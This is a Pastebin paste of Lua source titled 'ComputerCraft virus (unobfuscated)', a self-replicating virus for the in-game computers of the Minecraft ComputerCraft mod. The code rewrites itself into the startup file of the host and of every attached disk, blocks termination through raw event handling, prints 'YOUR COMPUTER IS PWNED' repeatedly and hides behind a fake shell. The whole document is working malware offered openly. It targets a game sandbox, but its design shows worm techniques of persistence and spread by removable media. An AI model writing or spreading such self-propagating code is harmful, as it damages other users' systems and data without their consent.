immibis

ComputerCraft virus (unobfuscated)

Jan 19th, 2012
2,166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.28 KB | None | 0 0
  1. local x="local x=%q local c=%q loadstring(c)(x:format(x,c))"
  2. local code=[[
  3. local r={...}
  4. local vc=r[1]
  5. local per=os.pullEventRaw
  6. local cc=coroutine.create
  7. local cr=coroutine.resume
  8. local cs=coroutine.status
  9. local st=os.startTimer
  10. local function vm()
  11.     local t,e,p=st(5)
  12.     while true do
  13.         if e=="timer" and p==t then
  14.             print("YOUR COMPUTER IS PWNED.")
  15.             t=st(5)
  16.         end
  17.         if (e=="key" and p==28) or e=="disk" or e==nil or e=="timer" then
  18.             if e~="timer" then st(0.1) end
  19.             for k,v in ipairs(fs.list("/")) do
  20.                 local d=fs.getDrive("/"..v)
  21.                 if d~="rom" and d~="hdd" then
  22.                     local f = fs.open("/"..v.."/startup","w")
  23.                     f.write(vc)
  24.                     f.close()
  25.                 end
  26.             end
  27.             local f=fs.open("/startup","w")
  28.             f.write(vc)
  29.             f.close()
  30.         end
  31.         e,p=per()
  32.     end
  33. end
  34.  
  35. local cr1 = cc(vm)
  36. local cr2 = cc(function()
  37.     term.clear() term.setCursorPos(1, 1)
  38.     local fsh={aliases=function() return {ls="list",dir="list",cp="copy",mv="move",rm="delete"} end,
  39.     dir=function() return "" end,
  40.     path=function() return ".:/rom/programs" end}
  41.     os.run({shell=fsh},"/rom/programs/shell")
  42. end)
  43. cr(cr1) cr(cr2)
  44. while cs(cr1)~="dead" and cs(cr2)~="dead" do
  45.     local e={per()}
  46.     cr(cr1,unpack(e))
  47.     cr(cr2,unpack(e))
  48. end
  49. ]]
  50. code = code:gsub("[ \t\n]+", " ")
  51. assert(loadstring(code))(x:format(x, code))
Advertisement
Add Comment
Please, Sign In to add comment